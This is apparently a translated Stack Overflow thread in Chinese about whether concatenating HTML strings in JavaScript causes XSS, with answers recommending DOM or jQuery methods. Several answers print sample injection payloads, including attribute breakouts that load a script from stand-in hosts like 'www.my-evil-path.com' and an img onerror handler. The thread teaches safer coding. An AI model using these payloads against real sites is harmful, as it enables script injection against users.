用 Javascript 构建 HTML 字符串真的不安全吗?

问题描述 投票:0回答:4

托管我们网站的公司在部署之前会审查我们的代码 - 他们最近告诉我们:

HTML 字符串不应该被直接操作,因为这会给我们带来潜在的 XSS 漏洞。相反,始终使用 DOM api 来创建元素...可以是 jQuery 或直接 DOM api。

例如,而不是

this.html.push( '<a class="quiz-au" data-src="' + this.au + '"><span class="quiz-au-icon"></span>Click to play</a>' );

他们告诉我们要做什么

var quizAuLink = $( 'a' );
quizAuLink.addClass( 'quiz-au' );
quizAuLink.data( 'src', this.au );
quizAu.text( 'Click to play' );
quizAu.prepend( '<span class="quiz-au-icon"></span>' );

这是真的吗?谁能给我们一个可以像第一个一样利用 HTML 字符串的 XSS 攻击的示例吗?

javascript html security xss
4个回答
68
投票

如果

this.au
以某种方式修改,它可能包含这样的内容:

"><script src="http://example.com/evilScript.js"></script><span class="

这会弄乱你的 HTML 并注入脚本:

<a class="quiz-au" data-src="">
  <script src="http://example.com/evilScript.js"></script>
  <span class=""><span class="quiz-au-icon"></span>
  Click to play
</a>

如果您使用 DOM 操作来设置

src
属性,则脚本(或您使用的任何其他 XSS)将不会被执行,因为它将被 DOM API 正确转义。


回应一些评论者说如果有人可以修改

this.au
,他们肯定可以自己运行脚本:我不知道
this.au
来自哪里,也不是特别相关。它可能是数据库中的值,并且数据库可能已被泄露。它也可能是恶意用户试图给其他用户搞砸事情。甚至可能是一个无辜的非技术人员没有意识到写作
"def" > "abc"
会毁掉东西。


还有一件事。在您提供的代码中,

var quizAuLink = $( 'a' );
不会创建新的
<a>
元素。它只会选择所有现有的。您需要使用
var quizAuLink = $( '<a>' );
创建一个新的。


14
投票

这应该同样安全,而不会对可读性造成太大影响:

var link = $('<a class="quiz-au"><span class="quiz-au-icon"></span>Click to play</a>');
link.data("src", this.au);

重点是避免通过字符串操作来构建 HTML 字符串。请注意,在上面,我仅使用

$()
来解析常量字符串,该字符串解析为众所周知的结果。在此示例中,只有
this.au
部分是危险的,因为它可能包含动态计算的值。


12
投票

由于您无法使用

.innerHTML
在现代浏览器中注入脚本标签,因此您需要监听一个事件:

如果

this.au
以某种方式修改,它可能包含这样的内容:

"><img src="broken-path.png" onerror="alert('my injection');"><span class="

这会弄乱你的 HTML 并注入脚本:

<a class="quiz-au" data-src=""><img src="broken-path.png" onload="alert('my injection')"><span class=""><span class="quiz-au-icon"></span>Click to play</a>

为了运行更大的 JavaScript 块,请将 onerror 设置为:

var d = document; s = d.createElement('script'); s.type='text/javascript'; s.src = 'www.my-evil-path.com'; d.body.appendChild(s);

感谢 Scimoster 提供的样板


1
投票

抛开安全性不谈,当你用 JavaScript 构建 HTML 时,你必须确保它是有效的。虽然可以通过字符串操作*来构建和清理 HTML,但 DOM 操作要方便得多。不过,您必须确切地知道字符串的哪一部分是 HTML,哪一部分是文字文本。

考虑以下示例,其中我们有两个硬编码变量:

var href = "/detail?tag=hr&copy%5B%5D=1",
    text = "The HTML <hr> tag";

以下代码简单地构建了 HTML 字符串:

var div = document.createElement("div");
div.innerHTML = '<a href="' + href + '">' + text + '</a>';
console.log(div.innerHTML);
// <a href="/detail?tag=hr©%5B%5D=1">The HTML <hr> tag</a>

这使用了 jQuery,但它仍然不正确(它在应该是文本的

变量上使用 
.html()):

var div = document.createElement("div"); $("<a></a>").attr("href", href).html(text).appendTo(div); console.log(div.innerHTML); // <a href="/detail?tag=hr&amp;copy%5B%5D=1">The HTML <hr> tag</a>

这是正确的,因为

它按预期显示文本

var div = document.createElement("div"); $("<a></a>").attr("href", href).text(text).appendTo(div); console.log(div.innerHTML); // <a href="/detail?tag=hr&amp;copy%5B%5D=1">The HTML &lt;hr&gt; tag</a>

结论:使用 DOM 操作/jQuery 不能保证任何安全性,但它确实是朝着正确方向迈出的一步。


* 请参阅

此问题的示例。讨论了字符串和 DOM 操作。

© www.soinside.com 2019 - 2024. All rights reserved.